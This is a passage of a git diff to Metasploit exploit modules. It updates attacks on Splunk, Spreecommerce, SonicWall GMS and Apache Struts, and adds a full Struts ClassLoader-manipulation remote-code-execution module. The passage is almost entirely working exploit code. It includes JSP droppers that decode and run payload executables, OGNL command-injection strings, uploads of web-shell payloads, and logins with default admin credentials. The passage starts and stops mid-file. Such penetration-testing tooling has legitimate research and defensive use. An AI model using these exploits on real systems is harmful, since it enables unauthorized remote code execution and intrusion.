res.body.to_s =~ /Path:(.*)/ + upload_path = $1 + print_good("#{peer} - Working directory found in #{upload_path}") + register_file_for_cleanup(::File.join(upload_path, jsp_info)) + else + print_error("#{peer} - Couldn't retrieve the upload directory, manual cleanup will be required") + print_warning("#{peer} - #{jsp_info} needs to be deleted manually") + end + + jsp_payload = "#{rand_text_alphanumeric(4 + rand(32-4))}.jsp" + print_status("#{peer} - Uploading JSP payload #{jsp_payload}...") + if upload(jsp_payload, payload.encoded) + print_good("#{peer} - JSP payload uploaded successfully") + else + fail_with(Failure::Unknown, "#{peer} - JSP payload upload failed") + end + + if upload_path + register_file_for_cleanup(::File.join(upload_path, jsp_payload)) + else + print_warning("#{peer} - #{jsp_payload} needs to be deleted manually") + end + + print_status("#{peer} - Executing payload...") + execute(jsp_payload, 1) + end + + def execute(jsp_name, time_out = 20) + res = send_request_cgi({ + 'uri' => normalize_uri("/", "images", "..", jsp_name), + 'method' => 'GET' + }, time_out) + + res + end + + def upload(file_name, contents) + post_data = Rex::MIME::Message.new + post_data.add_part(contents, + "application/octet-stream", + nil, + "form-data; name=\"#{rand_text_alpha(4 + rand(4))}\"; filename=\"#{file_name}\"") + + res = send_request_cgi({ + 'uri' => normalize_uri("/", "images", "..", "jsp", "ProcessFileUpload.jsp"), + 'method' => 'POST', + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'data' => post_data.to_s + }) + + if res && res.code == 200 && res.body && res.body.to_s =~ /Upload Successful!!/ + return true + end + + false + end + + def jsp_path + jsp =<<-EOS +<%@ page language="Java" import="java.util.*"%> +<% +out.println("Path:" + System.getProperty("server.webapp.root")); +%> + EOS + + jsp + end + +end diff --git a/modules/exploits/multi/http/sonicwall_gms_upload.rb b/modules/exploits/multi/http/sonicwall_gms_upload.rb index 0be872543b..e35f6bf4b7 100644 --- a/modules/exploits/multi/http/sonicwall_gms_upload.rb +++ b/modules/exploits/multi/http/sonicwall_gms_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -29,7 +29,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'Nikolas Sotiriu', # Vulnerability Discovery - 'Julian Vilas <julian.vilas[at]gmail.com>', # Metasploit module + 'Redsadic <julian.vilas[at]gmail.com>', # Metasploit module 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/multi/http/splunk_mappy_exec.rb b/modules/exploits/multi/http/splunk_mappy_exec.rb index 2725ba5f81..21b6740fd5 100644 --- a/modules/exploits/multi/http/splunk_mappy_exec.rb +++ b/modules/exploits/multi/http/splunk_mappy_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -124,8 +124,8 @@ class Metasploit3 < Msf::Exploit::Remote uid = '' session_id_port = session_id = '' - if res and res.code == 200 and res.headers['Set-Cookie'] - res.headers['Set-Cookie'].split(';').each {|c| + if res and res.code == 200 and !res.get_cookies.empty? + res.get_cookies.split(';').each {|c| c.split(',').each {|v| if v.split('=')[0] =~ /cval/ cval = v.split('=')[1] @@ -159,7 +159,7 @@ class Metasploit3 < Msf::Exploit::Remote else session_id_port = '' session_id = '' - res.headers['Set-Cookie'].split(';').each {|c| + res.get_cookies.split(';').each {|c| c.split(',').each {|v| if v.split('=')[0] =~ /session_id/ session_id_port = v.split('=')[0] diff --git a/modules/exploits/multi/http/splunk_upload_app_exec.rb b/modules/exploits/multi/http/splunk_upload_app_exec.rb index 0c710b83ac..20066ea72b 100644 --- a/modules/exploits/multi/http/splunk_upload_app_exec.rb +++ b/modules/exploits/multi/http/splunk_upload_app_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -11,23 +11,24 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient def initialize(info = {}) - super(update_info(info, - 'Name' => 'Splunk 5.0 Custom App Remote Code Execution', - 'Description' => %q{ - This module exploits a feature of Splunk whereby a custom application can be - uploaded through the web based interface. Through the 'script' search command a + super(update_info( + info, + 'Name' => 'Splunk Custom App Remote Code Execution', + 'Description' => + 'This module exploits a feature of Splunk whereby a custom application can be + uploaded through the web based interface. Through the \'script\' search command a user can call commands defined in their custom application which includes arbitrary perl or python code. To abuse this behavior, a valid Splunk user with the admin role is required. By default, this module uses the credential of "admin:changeme", the default Administrator credential for Splunk. Note that the Splunk web interface - runs as SYSTEM on Windows, or as root on Linux by default. This module has only - been tested successfully against Splunk 5.0. - }, + runs as SYSTEM on Windows, or as root on Linux by default. This module has been + tested successfully against Splunk 5.0, 6.1, and 6.1.1.', 'Author' => [ "marcwickenden", # discovery and metasploit module "sinn3r", # metasploit module - "juan vazquez" # metasploit module + "juan vazquez", # metasploit module + "Gary Blosser" # metasploit module updates for Splunk 6.1 ], 'License' => MSF_LICENSE, 'References' => @@ -41,16 +42,16 @@ class Metasploit3 < Msf::Exploit::Remote 'Space' => 1024, 'DisableNops' => true }, - 'Platform' => %w{ linux unix win }, + 'Platform' => %w(linux unix win), 'Targets' => [ - [ 'Splunk 5.0.1 / Linux', + [ 'Splunk >= 5.0.1 / Linux', { 'Arch' => ARCH_CMD, - 'Platform' => %w{ linux unix } + 'Platform' => %w(linux unix) } ], - [ 'Splunk 5.0.1 / Windows', + [ 'Splunk >= 5.0.1 / Windows', { 'Arch' => ARCH_CMD, 'Platform' => 'win' @@ -62,9 +63,10 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ Opt::RPORT(8000), - OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as','admin' ]), - OptString.new('PASSWORD', [ true, 'The password for the specified username','changeme' ]), - OptPath.new('SPLUNK_APP_FILE', + OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as', 'admin' ]), + OptString.new('PASSWORD', [ true, 'The password for the specified username', 'changeme' ]), + OptPath.new( + 'SPLUNK_APP_FILE', [ true, 'The "rogue" Splunk application tgz', @@ -96,6 +98,7 @@ class Metasploit3 < Msf::Exploit::Remote # set up some variables for later use @auth_cookies = '' @csrf_form_key = '' + @csrf_form_port = "splunkweb_csrf_token_#{rport}" # Default to using rport, corrected during tokenization for v6 below. app_name = 'upload_app_exec' p = payload.encoded print_status("Using command: #{p}") @@ -118,14 +121,13 @@ class Metasploit3 < Msf::Exploit::Remote # call our command execution function with the Splunk 'script' command print_status("Invoking script command") res = send_request_cgi( - { 'uri' => '/en-US/api/search/jobs', 'method' => 'POST', - 'cookie' => @auth_cookies, + 'cookie' => "#{@auth_cookies}; #{@csrf_form_port}=#{@csrf_form_key}", # Version 6 uses cookies and not just headers, extra cookies should be ignored by Splunk 5 (unverified) 'headers' => { 'X-Requested-With' => 'XMLHttpRequest', - 'X-Splunk-Form-Key' => @csrf_form_key + 'X-Splunk-Form-Key' => @csrf_form_key # Version 6 ignores extra headers (verified) }, 'vars_post' => { @@ -142,24 +144,24 @@ class Metasploit3 < Msf::Exploit::Remote 'latest_time' => "", 'timeFormat' => "%s.%Q" } - }) + ) if return_output res.body.match(/data":\ "([0-9.]+)"/) - job_id = $1 + job_id = Regexp.last_match(1) # wait a short time to let the output be produced print_status("Waiting for #{command_output_delay} seconds to retrieve command output") - select(nil,nil,nil,command_output_delay) + select(nil, nil, nil, command_output_delay) job_output = fetch_job_output(job_id) if job_output.body.match(/Waiting for data.../) print_status("No output returned in time") - elsese + else output = "" job_output.body.each_line do |line| # strip off the leading and trailing " added by Splunk - line.gsub!(/^"/,"") - line.gsub!(/"$/,"") + line.gsub!(/^"/, "") + line.gsub!(/"$/, "") output << line end @@ -181,7 +183,7 @@ class Metasploit3 < Msf::Exploit::Remote 'method' => 'GET' }, 25) - if res and res.body =~ /Splunk Inc\. Splunk/ + if res && res.body =~ /Splunk Inc\. Splunk/ return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe @@ -192,18 +194,17 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Authenticating...") # this method borrowed with thanks from splunk_mappy_exec.rb res = send_request_cgi( - { 'uri' => '/en-US/account/login', 'method' => 'GET' - }) + ) cval = '' uid = '' session_id_port = session_id = '' - if res and res.code == 200 - res.headers['Set-Cookie'].split(';').each {|c| - c.split(',').each {|v| + if res && res.code == 200 + res.get_cookies.split(';').each do |c| + c.split(',').each do |v| if v.split('=')[0] =~ /cval/ cval = v.split('=')[1] elsif v.split('=')[0] =~ /uid/ @@ -212,14 +213,13 @@ class Metasploit3 < Msf::Exploit::Remote session_id_port = v.split('=')[0] session_id = v.split('=')[1] end - } - } + end + end else fail_with(Failure::NotFound, "Unable to get session cookies") end res = send_request_cgi( - { 'uri' => '/en-US/account/login', 'method' => 'POST', 'cookie' => "uid=#{uid}; #{session_id_port}=#{session_id}; cval=#{cval}", @@ -229,21 +229,21 @@ class Metasploit3 < Msf::Exploit::Remote 'username' => @username, 'password' => @password } - }) + ) - if not res or res.code != 303 - fail_with(Failure::NoAccess, "Unable to authenticate") + if !res + fail_with(Failure::Unreachable, "No response") else session_id_port = '' session_id = '' - res.headers['Set-Cookie'].split(';').each {|c| - c.split(',').each {|v| + res.get_cookies.split(';').each do |c| + c.split(',').each do |v| if v.split('=')[0] =~ /session_id/ session_id_port = v.split('=')[0] session_id = v.split('=')[1] end - } - } + end + end @auth_cookies = "#{session_id_port}=#{session_id}" end end @@ -271,15 +271,17 @@ class Metasploit3 < Msf::Exploit::Remote data << file_data data << "\r\n--#{boundary}--\r\n" - res = send_request_cgi({ - 'uri' => '/en-US/manager/appinstall/_upload', - 'method' => 'POST', - 'cookie' => @auth_cookies, - 'ctype' => "multipart/form-data; boundary=#{boundary}", - 'data' => data - }, 30) + res = send_request_cgi( + { + 'uri' => '/en-US/manager/appinstall/_upload', + 'method' => 'POST', + # Does not seem to require the cookie, but it does not break it. I bet 6.2 will have a cookie here too. + 'cookie' => "#{@auth_cookies}; #{@csrf_form_port}=#{@csrf_form_key}", + 'ctype' => "multipart/form-data; boundary=#{boundary}", + 'data' => data + }, 30) - if (res and (res.code == 303 or (res.code == 200 and res.body !~ /There was an error processing the upload/))) + if res && (res.code == 303 || (res.code == 200 && res.body !~ /There was an error processing the upload/)) print_status("#{app_name} successfully uploaded") else fail_with(Failure::Unknown, "Error uploading") @@ -289,26 +291,35 @@ class Metasploit3 < Msf::Exploit::Remote def do_get_csrf(uri) print_status("Fetching csrf token from #{uri}") res = send_request_cgi( - { 'uri' => uri, 'method' => 'GET', 'cookie' => @auth_cookies - }) - res.body.match(/FORM_KEY":\ "(\d+)"/) - @csrf_form_key = $1 - fail_with(Failure::Unknown, "csrf form Key not found") if not @csrf_form_key + ) + res.body.match(/FORM_KEY":\ "(\d+)"/) # Version 5 + @csrf_form_key = Regexp.last_match(1) + + unless @csrf_form_key # Version 6 + res.get_cookies.split(';').each do |c| + c.split(',').each do |v| + if v.split('=')[0] =~ /splunkweb_csrf_token/ # regex as the full name is something like splunkweb_csrf_token_8000 + @csrf_form_port = v.split('=')[0] # Accounting for tunnels where rport is not the actual server-side port + @csrf_form_key = v.split('=')[1] + end + end + end + end + + fail_with(Failure::Unknown, "csrf form Key not found") unless @csrf_form_key end def fetch_job_output(job_id) # fetch the output of our job id as csv for easy parsing print_status("Fetching job_output for id #{job_id}") - res = send_request_raw( - { - 'uri' => "/en-US/api/search/jobs/#{job_id}/result?isDownload=true&timeFormat=%25FT%25T.%25Q%25%3Az&maxLines=0&count=0&filename=&outputMode=csv&spl_ctrl-limit=unlimited&spl_ctrl-count=10000", + send_request_raw( + 'uri' => "/en-US/api/search/jobs/#{job_id}/result?isDownload=true&timeFormat=%25FT%25T.%25Q%25%3Az&maxLines=0&count=0&filename=&outputMode=csv&spl_ctrl-limit=unlimited&spl_ctrl-count=10000", 'method' => 'GET', 'cookie' => @auth_cookies, 'encode_param' => 'false' - }) + ) end - end diff --git a/modules/exploits/multi/http/spree_search_exec.rb b/modules/exploits/multi/http/spree_search_exec.rb index e5bab5f8eb..9c17ad00f3 100644 --- a/modules/exploits/multi/http/spree_search_exec.rb +++ b/modules/exploits/multi/http/spree_search_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -51,7 +51,7 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - command = Rex::Text.uri_encode(payload.raw, 'hex-all') + command = Rex::Text.uri_encode(payload.raw, 'hex-noslashes') res = send_request_raw({ 'uri' => normalize_uri(datastore['URI']) + "?search[send][]=eval&search[send][]=Kernel.fork%20do%60#{command}%60end", 'method' => 'GET', diff --git a/modules/exploits/multi/http/spree_searchlogic_exec.rb b/modules/exploits/multi/http/spree_searchlogic_exec.rb index 203577614c..49b6c061b4 100644 --- a/modules/exploits/multi/http/spree_searchlogic_exec.rb +++ b/modules/exploits/multi/http/spree_searchlogic_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -14,11 +14,12 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Spreecommerce < 0.50.0 Arbitrary Command Execution', + 'Name' => 'Spreecommerce Arbitrary Command Execution', 'Description' => %q{ - This module exploits an arbitrary command execution vulnerability in the - Spreecommerce API searchlogic. Unvalidated input is called via the - Ruby send method allowing command execution. + This module exploits an arbitrary command execution vulnerability in + the Spreecommerce API searchlogic for versions 0.50.0 and earlier. + Unvalidated input is called via the Ruby send method allowing command + execution. }, 'Author' => [ 'joernchen <joernchen[at]phenoelit.de>' ], #Phenoelit 'License' => MSF_LICENSE, @@ -52,7 +53,7 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - command = Rex::Text.uri_encode(payload.raw, 'hex-all') + command = Rex::Text.uri_encode(payload.raw, 'hex-noslashes') urlconfigdir = normalize_uri(datastore['URI']) + '/' + "api/orders.json?search[instance_eval]=Kernel.fork%20do%60#{command}%60end" res = send_request_raw({ diff --git a/modules/exploits/multi/http/struts_code_exec.rb b/modules/exploits/multi/http/struts_code_exec.rb index fd7588875a..a629668198 100644 --- a/modules/exploits/multi/http/struts_code_exec.rb +++ b/modules/exploits/multi/http/struts_code_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -8,12 +8,13 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking - include Msf::Exploit::CmdStagerTFTP + include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, - 'Name' => 'Apache Struts < 2.2.0 Remote Command Execution', + 'Name' => 'Apache Struts Remote Command Execution', 'Description' => %q{ This module exploits a remote command execution vulnerability in Apache Struts versions < 2.2.0. This issue is caused by a failure to properly @@ -42,7 +43,8 @@ class Metasploit3 < Msf::Exploit::Remote ['Windows Universal', { 'Arch' => ARCH_X86, - 'Platform' => 'win' + 'Platform' => 'win', + 'CmdStagerFlavor' => 'tftp' } ], ['Linux Universal', @@ -88,11 +90,9 @@ class Metasploit3 < Msf::Exploit::Remote end def windows_stager - exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe" - print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") - execute_cmdstager({ :temp => '.'}) - @payload_exe = payload_exe + execute_cmdstager({ :temp => '.' }) + @payload_exe = generate_payload_exe print_status("Attempting to execute the payload...") execute_command(@payload_exe) diff --git a/modules/exploits/multi/http/struts_code_exec_classloader.rb b/modules/exploits/multi/http/struts_code_exec_classloader.rb new file mode 100644 index 0000000000..df4cb78bdf --- /dev/null +++ b/modules/exploits/multi/http/struts_code_exec_classloader.rb @@ -0,0 +1,269 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ManualRanking # It's going to manipulate the Class Loader + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Apache Struts ClassLoader Manipulation Remote Code Execution', + 'Description' => %q{ + This module exploits a remote command execution vulnerability in Apache Struts versions + 1.x (<= 1.3.10) and 2.x (< 2.3.16.2). In Struts 1.x the problem is related with + the ActionForm bean population mechanism while in case of Struts 2.x the vulnerability is due + to the ParametersInterceptor. Both allow access to 'class' parameter that is directly + mapped to getClass() method and allows ClassLoader manipulation. As a result, this can + allow remote attackers to execute arbitrary Java code via crafted parameters. + }, + 'Author' => + [ + 'Mark Thomas', # Vulnerability Discovery + 'Przemyslaw Celej', # Vulnerability Discovery + 'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2014-0094'], + ['CVE', '2014-0112'], + ['CVE', '2014-0114'], + ['URL', 'http://www.pwntester.com/blog/2014/04/24/struts2-0day-in-the-wild/'], + ['URL', 'http://struts.apache.org/release/2.3.x/docs/s2-020.html'], + ['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Update-your-Struts-1-ClassLoader-manipulation-filters/ba-p/6639204'], + ['URL', 'https://github.com/rgielen/struts1filter/tree/develop'] + ], + 'Platform' => %w{ linux win }, + 'Payload' => + { + 'Space' => 5000, + 'DisableNops' => true + }, + 'Targets' => + [ + ['Java', + { + 'Arch' => ARCH_JAVA, + 'Platform' => %w{ linux win } + }, + ], + ['Linux', + { + 'Arch' => ARCH_X86, + 'Platform' => 'linux' + } + ], + ['Windows', + { + 'Arch' => ARCH_X86, + 'Platform' => 'win' + } + ] + ], + 'DisclosureDate' => 'Mar 06 2014', + 'DefaultTarget' => 1)) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"]), + OptEnum.new('STRUTS_VERSION', [ true, 'Apache Struts Framework version', '2.x', ['1.x','2.x']]) + ], self.class) + end + + def jsp_dropper(file, exe) + dropper = <<-eos +<%@ page import=\"java.io.FileOutputStream\" %> +<%@ page import=\"sun.misc.BASE64Decoder\" %> +<%@ page import=\"java.io.File\" %> +<% FileOutputStream oFile = new FileOutputStream(\"#{file}\", false); %> +<% oFile.write(new sun.misc.BASE64Decoder().decodeBuffer(\"#{Rex::Text.encode_base64(exe)}\")); %> +<% oFile.flush(); %> +<% oFile.close(); %> +<% File f = new File(\"#{file}\"); %> +<% f.setExecutable(true); %> +<% Runtime.getRuntime().exec(\"./#{file}\"); %> + eos + + dropper + end + + def dump_line(uri, cmd = '') + res = send_request_cgi({ + 'uri' => uri, + 'encode_params' => false, + 'vars_get' => { + cmd => '' + }, + 'version' => '1.1', + 'method' => 'GET' + }) + + res + end + + def modify_class_loader(opts) + + cl_prefix = + case datastore['STRUTS_VERSION'] + when '1.x' then "class.classLoader" + when '2.x' then "class['classLoader']" + end + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path.to_s), + 'version' => '1.1', + 'method' => 'GET', + 'vars_get' => { + "#{cl_prefix}.resources.context.parent.pipeline.first.directory" => opts[:directory], + "#{cl_prefix}.resources.context.parent.pipeline.first.prefix" => opts[:prefix], + "#{cl_prefix}.resources.context.parent.pipeline.first.suffix" => opts[:suffix], + "#{cl_prefix}.resources.context.parent.pipeline.first.fileDateFormat" => opts[:file_date_format] + } + }) + + res + end + + def check_log_file(hint) + uri = normalize_uri("/", @jsp_file) + + print_status("#{peer} - Waiting for the server to flush the logfile") + + 10.times do |x| + select(nil, nil, nil, 2) + + # Now make a request to trigger payload + vprint_status("#{peer} - Countdown #{10-x}...") + res = dump_line(uri) + + # Failure. The request timed out or the server went away. + fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") if res.nil? + + # Success if the server has flushed all the sent commands to the jsp file + if res.code == 200 && res.body && res.body.to_s =~ /#{hint}/ + print_good("#{peer} - Log file flushed at http://#{peer}/#{@jsp_file}") + return true + end + end + + false + end + + # Fix the JSP payload to make it valid once is dropped + # to the log file + def fix(jsp) + output = "" + jsp.each_line do |l| + if l =~ /<%.*%>/ + output << l + elsif l =~ /<%/ + next + elsif l=~ /%>/ + next + elsif l.chomp.empty? + next + else + output << "<% #{l.chomp} %>" + end + end + output + end + + def create_jsp + if target['Arch'] == ARCH_JAVA + jsp = fix(payload.encoded) + else + if target['Platform'] == 'win' + payload_exe = Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform, payload.encoded, "exe-small", {:arch => target.arch, :platform => target.platform}) + else + payload_exe = generate_payload_exe + end + payload_file = rand_text_alphanumeric(4 + rand(4)) + jsp = jsp_dropper(payload_file, payload_exe) + if target['Platform'] == 'win' && target['Arch'] == ARCH_X86 + register_files_for_cleanup("../webapps/ROOT/#{payload_file}") + else + register_files_for_cleanup(payload_file) + end + end + + jsp + end + + def exploit + prefix_jsp = rand_text_alphanumeric(3+rand(3)) + date_format = rand_text_numeric(1+rand(4)) + @jsp_file = prefix_jsp + date_format + ".jsp" + + # Modify the Class Loader + + print_status("#{peer} - Modifying Class Loader...") + properties = { + :directory => 'webapps/ROOT', + :prefix => prefix_jsp, + :suffix => '.jsp', + :file_date_format => date_format + } + res = modify_class_loader(properties) + unless res + fail_with(Failure::TimeoutExpired, "#{peer} - No answer") + end + + # Check if the log file exists and has been flushed + + unless check_log_file(normalize_uri(target_uri.to_s)) + fail_with(Failure::Unknown, "#{peer} - The log file hasn't been flushed") + end + + if target['Platform'] == 'win' && target['Arch'] == ARCH_X86 + register_files_for_cleanup("../webapps/ROOT/#{@jsp_file}") + else + register_files_for_cleanup(@jsp_file) + end + + # Prepare the JSP + print_status("#{peer} - Generating JSP...") + jsp = create_jsp + + # Dump the JSP to the log file + print_status("#{peer} - Dumping JSP into the logfile...") + random_request = rand_text_alphanumeric(3 + rand(3)) + + uri = normalize_uri('/', random_request) + + jsp.each_line do |l| + unless dump_line(uri, l.chomp) + fail_with(Failure::Unknown, "#{peer} - Missed answer while dumping JSP to logfile...") + end + end + + # Check log file... enjoy shell! + unless target['Arch'] == ARCH_JAVA + check_log_file(random_request) + end + + # No matter what happened, try to 'restore' the Class Loader + properties = { + :directory => '', + :prefix => '', + :suffix => '', + :file_date_format => '' + } + modify_class_loader(properties) + + if target['Arch'] == ARCH_JAVA + send_request_cgi({ 'uri' => normalize_uri("/", @jsp_file) }) + end + + end + +end + diff --git a/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb b/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb index 335df12cfa..ee2e954933 100644 --- a/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb +++ b/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -8,12 +8,12 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::CmdStagerTFTP + include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, - 'Name' => 'Apache Struts <= 2.2.1.1 Remote Command Execution', + 'Name' => 'Apache Struts Remote Command Execution', 'Description' => %q{ This module exploits a remote command execution vulnerability in Apache Struts versions < 2.2.1.1. This issue is caused because the @@ -45,7 +45,8 @@ class Metasploit3 < Msf::Exploit::Remote ['Windows Universal', { 'Arch' => ARCH_X86, - 'Platform' => 'win' + 'Platform' => 'win', + 'CmdStagerFlavor' => 'tftp' } ], ['Linux Universal', @@ -94,7 +95,7 @@ class Metasploit3 < Msf::Exploit::Remote exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe" print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") - execute_cmdstager({ :temp => '.'}) + execute_cmdstager({ :temp => '.' }) @payload_exe = payload_exe print_status("Attempting to execute the payload...") diff --git a/modules/exploits/multi/http/struts_code_exec_parameters.rb b/modules/exploits/multi/http/struts_code_exec_parameters.rb index 1db90c817f..b6d7680f76 100644 --- a/modules/exploits/multi/http/struts_code_exec_parameters.rb +++ b/modules/exploits/multi/http/struts_code_exec_parameters.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -27,7 +27,8 @@ class Metasploit3 < Msf::Exploit::Remote [ 'Meder Kydyraliev', # Vulnerability Discovery and PoC 'Richard Hicks <scriptmonkey.blog[at]gmail.com>', # Metasploit Module - 'mihi' #ARCH_JAVA support + 'mihi', #ARCH_JAVA support + 'Christian Mehlmauer' # Metasploit Module ], 'License' => MSF_LICENSE, 'References' => @@ -44,7 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote ['Windows Universal', { 'Arch' => ARCH_X86, - 'Platform' => 'windows' + 'Platform' => 'win' } ], ['Linux Universal', @@ -66,75 +67,109 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ Opt::RPORT(8080), - OptString.new('PARAMETER',[ true, 'The parameter to perform injection against.',"username"]), - OptString.new('TARGETURI', [ true, 'The path to a struts application action with the location to perform the injection', "/blank-struts2/login.action?INJECT"]), - OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5]) + OptString.new('PARAMETER',[ true, 'The parameter to perform injection against.','username']), + OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/blank-struts2/login.action']), + OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5]), + OptString.new('GET_PARAMETERS', [ false, 'Additional GET Parameters to send. Please supply in the format "param1=a¶m2=b". Do apply URL encoding to the parameters names and values if needed.', nil]), + OptString.new('TMP_PATH', [ false, 'Overwrite the temp path for the file upload. Sometimes needed if the home directory is not writeable. Ensure there is a trailing slash!', nil]) ], self.class) end - def execute_command(cmd, opts = {}) - inject = "PARAMETERTOKEN=(#context[\"xwork.MethodAccessor.denyMethodExecution\"]=+new+java.lang.Boolean(false),#_memberAccess[\"allowStaticMethodAccess\"]" - inject << "=+new+java.lang.Boolean(true),CMD)('meh')&z[(PARAMETERTOKEN)(meh)]=true" - inject.gsub!(/PARAMETERTOKEN/,Rex::Text::uri_encode(datastore['PARAMETER'])) - inject.gsub!(/CMD/,Rex::Text::uri_encode(cmd)) - uri = String.new(datastore['TARGETURI']) - uri = normalize_uri(uri) - uri.gsub!(/INJECT/,inject) # append the injection string + def parameter + datastore['PARAMETER'] + end + + def temp_path + return nil unless datastore['TMP_PATH'] + unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\') + fail_with(Failure::BadConfig, 'You need to add a trailing slash/backslash to TMP_PATH') + end + datastore['TMP_PATH'] + end + + def get_parameter + retval = {} + return retval unless datastore['GET_PARAMETERS'] + splitted = datastore['GET_PARAMETERS'].split('&') + return retval if splitted.nil? || splitted.empty? + splitted.each { |item| + name, value = item.split('=') + # no check here, value can be nil if parameter is ¶m + decoded_name = name ? Rex::Text::uri_decode(name) : nil + decoded_value = value ? Rex::Text::uri_decode(value) : nil + retval[decoded_name] = decoded_value + } + retval + end + + def execute_command(cmd) + junk = Rex::Text.rand_text_alpha(6) + inject = "(#context[\"xwork.MethodAccessor.denyMethodExecution\"]= new java.lang.Boolean(false),#_memberAccess[\"allowStaticMethodAccess\"]" + inject << "= new java.lang.Boolean(true),#{cmd})('#{junk}')" + uri = normalize_uri(datastore['TARGETURI']) resp = send_request_cgi({ 'uri' => uri, 'version' => '1.1', 'method' => 'GET', + 'vars_get' => { parameter => inject, "z[(#{parameter})(#{junk})]" => 'true' }.merge(get_parameter) }) - return resp #Used for check function. + resp end def exploit #Set up generic values. - @payload_exe = rand_text_alphanumeric(4+rand(4)) + payload_exe = rand_text_alphanumeric(4 + rand(4)) pl_exe = generate_payload_exe - append = 'false' + if pl_exe.nil? + fail_with(Failure::BadConfig, "#{peer} - Failed to generate an EXE payload, please select a correct payload") + end + append = false #Now arch specific... case target['Platform'] when 'linux' - @payload_exe = "/tmp/#{@payload_exe}" - chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\"))" - exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{@payload_exe}\".split(\"_\"))" + path = temp_path || '/tmp/' + payload_exe = "#{path}#{payload_exe}" + chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{payload_exe}\".split(\"_\"))" + exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{payload_exe}\".split(\"_\"))" when 'java' - @payload_exe << ".jar" + payload_exe = "#{temp_path}#{payload_exe}.jar" pl_exe = payload.encoded_jar.pack - exec_cmd = "" + exec_cmd = '' exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked')," exec_cmd << "#q.setAccessible(true),#q.set(null,true)," exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15')," exec_cmd << "#q.setAccessible(true),#q.set(null,false)," - exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new 